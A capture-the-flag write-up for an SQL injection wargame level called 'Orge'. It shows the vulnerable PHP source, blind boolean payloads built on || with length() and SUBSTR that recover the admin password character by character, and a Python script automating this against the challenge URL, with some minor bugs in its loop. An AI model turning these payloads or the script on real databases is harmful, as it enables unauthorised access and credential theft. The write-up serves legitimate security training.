Orge
Blind-boolean based, enumerate password without using "OR" and "AND"
This challenge builds on the "Orc" challenge.
Code
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge");
highlight_file(__FILE__);
?>Line 5: preg_match filters the the use of 'OR' and 'AND'
Line 13: Query obtains a user-supplied value and assigns it to "pw",
Line 14: Then compares the user-supplied value to the "pw" value stored for the 'admin' user. If they are equal, the challenge will be solved.
Query
SELECT id FROM prob_orge WHERE id='admin' AND pw=''Testing
Vulnerable parameter is "pw".
pw=' || 1=1-- - returns "Hello guest" indicating a true statement.
Using "length"
The length of the string stored in "pw" can be derived using "length".
pw=' || length(pw)=1%23 returns nothing, indicating a false statement.
Incrementing the value sequentially eventually results in:
pw=' || length(pw)=8%23
which returns "Hello admin" indicating a true statement indicating the string is 8 characters long.
Using "SUBSTR"
By using "SUBSTR" the stored value can be guessed 1 character at a time.
pw=' || SUBSTR(pw, 1, 1)=0%23
||: Logical operator 'OR'.SUBSTR(pw, 1, 1)=0: This part is checking whether the first character of thepw(password) field is equal to 0.%23: This is URL-encoded#.
In order to derive the stored value, each character can be enumerated individually by checking if the character in each start position is equal to a character in the ascii printable charset.
This is a tedious process.
Previously it was discovered that the stored string is 8 characters long so the process will need to be done 8 times, once for each character.
Steps
Checking if the first character of stored value is equal to 7 pw=' || SUBSTR(pw, 1, 1)=7%23 returns "Hello admin" : True
2nd character is equal to 'b' pw=' || SUBSTR(pw, 2, 1)=b%23
3rd character is equal to '7' pw=' || SUBSTR(pw, 3, 1)=7%23
4th character is equal to '5' pw=' || SUBSTR(pw, 4, 1)=5%23
5th character is equal to '1' pw=' || SUBSTR(pw, 5, 1)=1%23
6th character is equal to 'a' pw=' || SUBSTR(pw, 6, 1)=a%23
7th character is equal to 'e' pw=' || SUBSTR(pw, 7, 1)=e%23
8th character is equal to 'c' pw=' || SUBSTR(pw, 8, 1)=c%23
Incrementing the start position as each character is guessed eventually reveals the value stored of 7b751aec.
Finally, the challenge is solved with: pw=7b751aec
Effective Query
SELECT id FROM prob_orge WHERE id='admin' AND pw='7b751aec'Python Script
import requests
import string
import urllib.parse
# Define constants
TARGET_URL = "https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw="
COOKIE = {"PHPSESSID": "4qeps28bu02omhqapjte0rjerm"}
# Initialize variables
pw_length = 0
passwd = ""
# Determine password length
for length_guess in range(1, 9):
url = TARGET_URL + urllib.parse.quote("' || length(pw)={}#".format(length_guess))
response = requests.get(url, cookies=COOKIE)
if "Hello admin" in response.text:
print(f"pw length = {length_guess}")
pw_length = length_guess
# Retrieve password
for x in range(pw_length + 1):
for ascii_code in range(48, 122):
url = TARGET_URL + "1' || " + urllib.parse.quote("substring(pw,{},1) = '{}".format(str(x), chr(ascii_code)))
response = requests.get(url, cookies=COOKIE)
if "Hello admin" in response.text:
print(passwd)
passwd += chr(ascii_code)
break
# Print password
print(f"Password = {passwd}")Last updated